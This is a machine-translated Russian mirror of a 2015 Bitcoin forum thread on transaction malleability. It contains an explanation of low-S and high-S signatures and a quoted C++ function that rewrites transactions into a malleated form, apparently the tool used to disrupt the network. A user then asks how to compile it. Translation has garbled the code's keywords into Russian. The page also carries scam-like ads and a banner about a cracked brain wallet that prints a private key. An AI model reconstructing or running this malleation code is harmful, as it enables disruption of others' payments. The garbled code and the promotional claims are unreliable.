30 октября 2015, 12:30:48 AM   # 1
 
 
Сообщения: 1274
Цитировать по имени
цитировать ответ
по умолчанию Re: Malleated сделок

Взлом Биткоин адресов.
500 Биткоинов взломаны в "мозговом кошельке" с паролем "bitcoin is awesome"
Адрес кошелька: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE
Приватный ключ: 5J64pq77XjeacCezwmAr2V1s7snvvJkuAz8sENxw7xCkikceV6e
подробнее...


Всем кто хочет заработать Биткоины без вложений - рекомендую сайт http://bitcoin-zarabotat.ru
Bhai Logon,

Я слышал много о malleated сделок в последнее время.
Я был ошеломлен, когда я увидел, что один из моих сделок Вот был показан, как отсутствующие, хотя монеты были вычтены из моего бумажника. Позже я узнал, что через malleated сделка была подтверждена.

Я пытался читать на malleated сделок.
То, что я понимаю,
1) Есть некоторые части трансляции операции (в частности, часть подписи), которые могут быть изменены без шахтеров, отвергающих сделку
2) Это связано с высоким значением / ами низкой ами используемого в подписи

Я немного технически оспорено и хотели бы получить помощь / указатели о том, как я могу имеющий молоточек транзакцию.
полинезия сейчас офлайн Пожаловаться на полинезия   Ответить с цитированием Мультицитирование сообщения от полинезия Быстрый ответ на сообщение полинезия


Как заработать Биткоины?
Без вложений. Не майнинг.


30 октября 2015, 10:56:51 AM   # 2
 
 
Сообщения: 147
Цитировать по имени
цитировать ответ
по умолчанию Re: Malleated сделок

Получил 1806 Биткоинов
Реальная история.





Bhai Logon,

Я слышал много о malleated сделок в последнее время.
Я был ошеломлен, когда я увидел, что один из моих сделок Вот был показан, как отсутствующие, хотя монеты были вычтены из моего бумажника. Позже я узнал, что через malleated сделка была подтверждена.
Допустим, вы посылаете монеты от А до B. Там мог Tx хэши, которые могли бы представить это, один с низким S подписи, а другой с высокой подписью S. Оба были признаны действительными и любой из двух может быть включен в блок. Но, после внедрения BIP 62, только низкий S создается последними версиями Bitcoin ядра.

Я пытался читать на malleated сделок.
То, что я понимаю,
1) Есть некоторые части трансляции операции (в частности, часть подписи), которые могут быть изменены без шахтеров, отвергающих сделку
2) Это связано с высоким значением / ами низкой ами используемого в подписи
Скажем sigining функция е (п). Предположим, что в некоторой криптографической е (п) определяется как SQRT (п). Теперь, е (п) возвращает может быть либо 2 или -2, когда п = 4. Это ковкость.

Я немного технически оспорено и хотели бы получить помощь / указатели о том, как я могу имеющий молоточек транзакцию.
Следующая цитата объясняет, как вы можете это сделать в Bitcoin ...

Как определить, является ли он подписан с максимумами или нет?

Шаг 1: Найти подпись в scriptSig

В вашем примере формат:

Код:
<подпись> <Публичных>

Для того, чтобы визуально исследовать его, код ASM или блок-исследователь вашего выбора может помочь. Мне очень нравится этот один:

http://srv1.yogh.io/#tx:id:36d047abcb966f58aa668f050d60254730a3c07c9fd51e869e8b1a773c05d516



Шаг 2: Разделить подпись на компоненты



С помощью bitcoin.stackexchange.com

Обратите внимание, что изображение также включает в себя "подпись типа хэш", Который не является частью кодирования DER, но, как правило, показаны на исследователей.

Шаг 3: Проверить, является ли значение S ниже кривой порядка

Для сравнения:

Код:
7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a1 <- порядок п G
6a5611667d1eb147d6a7352cbf37a2ddec8d9b37fcad17a0c9a9c6caff287f24 <- значение S

В этом случае величина S действительно меньше, чем п, и, следовательно, это "низкий S",

В случае, если вы заинтересованы в amaclinкод «s это здесь ...

Код:
статический BOOL Малл (Const QByteArray& д, Const сделка& ТХ, QByteArray& RET)
{
  если (d.size () > 3000) // пропуском большой TXS
    вернуться ложным;
  если (tx.countInputs () < 1) // параноидально проверка
    {Вернуться ложным; }
  если (tx.countOutputs () < 1) // параноидально проверка
    {Вернуться ложным; }
  для (INT I (tx.countOutputs ()); --i >= 0; )
    если (tx.isOutputP2SH (я)) // я не Malle Txs с p2sh выходами
      вернуться ложным;

  Const TxInput в (tx.getInput ((qrand () & 0xffff)% tx.countInputs ())); // принимать случайный ввод
  Const QByteArray s0 (in.getScript ());
  EvalScript ESCR (s0);
  Const QList список (escr.evaluateInput ());
  если (list.size ()! = 2)
    {Вернуться ложным; }
  Const MyByteArray сиг (list.at (0)); // взять подпись
  символ BUF [64];
  quint8 sighash;
  если (! sig.signatureRS (ЬиЕ, &sighash))
    {Вернуться ложным; } // не в состоянии разобрать
  если (sighash! = SIGHASH_ALL)
    {Вернуться ложным; }
  Const MyKey32 г (BUF);
  Const MyKey32 с (ЬиМ + 32);
  QByteArray дер;
  der.append ((символ) 0x30);
  der.append ((символ) 0x00);
  INT Len (0);
  der.append ((символ) 0x02); Len ++;
  если (r.at (0) == 0)
    {Вернуться ложным; }
  если ((r.at (0) & 0xFF) < 0x80)
  {
    der.append ((символ) 0x20); Len ++;
    der.append (г); Len + = 32;
  }
  еще
  {
    der.append ((символ) 0x21); Len ++;
    der.append ((символ) 0x00); Len ++;
    der.append (г); Len + = 32;
  }
  QByteArray xder (дер);
  Const MyKey32 сс (s.mirror ());
  der.append ((символ) 0x02); Len ++;
  если (ss.at (0) == 0)
    {Вернуться ложным; }
  если ((ss.at (0) & 0xFF) < 0x80)
    {Вернуться ложным; }
  еще
  {
    der.append ((символ) 0x21); Len ++;
    der.append ((символ) 0x00); Len ++;
    der.append (сс); Len + = 32;
  }
  der.data () [1] = Len;
  der.append ((символ) 1); // SIGHASH_ALL

  xder.append ((символ) 0x02);
  если (s.at (0) == 0)
    {Вернуться ложным; }
  если ((s.at (0) & 0xFF) < 0x80)
  {
    xder.append ((символ) 0x20);
    xder.append (ы);
  }
  еще
    {Вернуться ложным; }
  xder.data () [1] = Len - 1;
  xder.append ((символ) 1); // SIGHASH_ALL

  Const INT ЗШЗ (STRLEN (xder.toHex () .constData ()) / 2);
  xder.prepend ((символ) ЗШЗ);

  Const INT zsz1 (der.size ());
  der.prepend ((символ) zsz1);

  QString ул (d.toHex ());
  если (str.indexOf (xder.toHex () .constData ()) <= 0)
    {Вернуться ложным; }
  Const INT поз (str.indexOf (xder.toHex () .constData ()) / 2);
  Const INT SLEN (d.at (поз - 1));

  xder.prepend ((символ) SLEN);
  der.prepend ((символ) (SLEN + 1));

  если (str.indexOf (xder.toHex () .constData ()) <= 0)
    {Вернуться ложным; }

  str.replace (xder.toHex () .constData (), der.toHex () .constData ()); // Malle ТХ!
  RET = QByteArray :: fromHex (str.toLatin1 ());
  возвращает истину;
}

Источник: https://www.reddit.com/r/Buttcoin/comments/3okxo5/does_amaclin_need_some_btc_to_wreck_havoc/cvyfy53
CounterEntropy сейчас офлайн Пожаловаться на CounterEntropy   Ответить с цитированием Мультицитирование сообщения от CounterEntropy Быстрый ответ на сообщение CounterEntropy

1 ноября 2015, 1:15:15 PM   # 3
 
 
Сообщения: 1274
Цитировать по имени
цитировать ответ
по умолчанию Re: Malleated сделок

В случае, если вы заинтересованы в amaclinкод «s это здесь ..
Источник: https://www.reddit.com/r/Buttcoin/comments/3okxo5/does_amaclin_need_some_btc_to_wreck_havoc/cvyfy53

Спасибо CounterEntropy. Это было очень полезно.
Не могли бы вы направить меня к тому, что заголовки я должен включать в себя, так что я могу запустить код?
Я включил QCoreApplication и libbitcoin установлены. Есть ли что-нибудь еще, что я должен делать?
полинезия сейчас офлайн Пожаловаться на полинезия   Ответить с цитированием Мультицитирование сообщения от полинезия Быстрый ответ на сообщение полинезия



Как заработать Биткоины?

Bitcoin Wallet * Portefeuille Bitcoin * Monedero Bitcoin * Carteira Bitcoin * Portafoglio Bitcoin * Bitcoin Cüzdan * 比特币钱包

bitcoin-zarabotat.ru
Почта для связи: bitcoin-zarabotat.ru@yandex.ru

3HmAQ9FkRFk6HZGuwExYxL62y7C1B9MwPW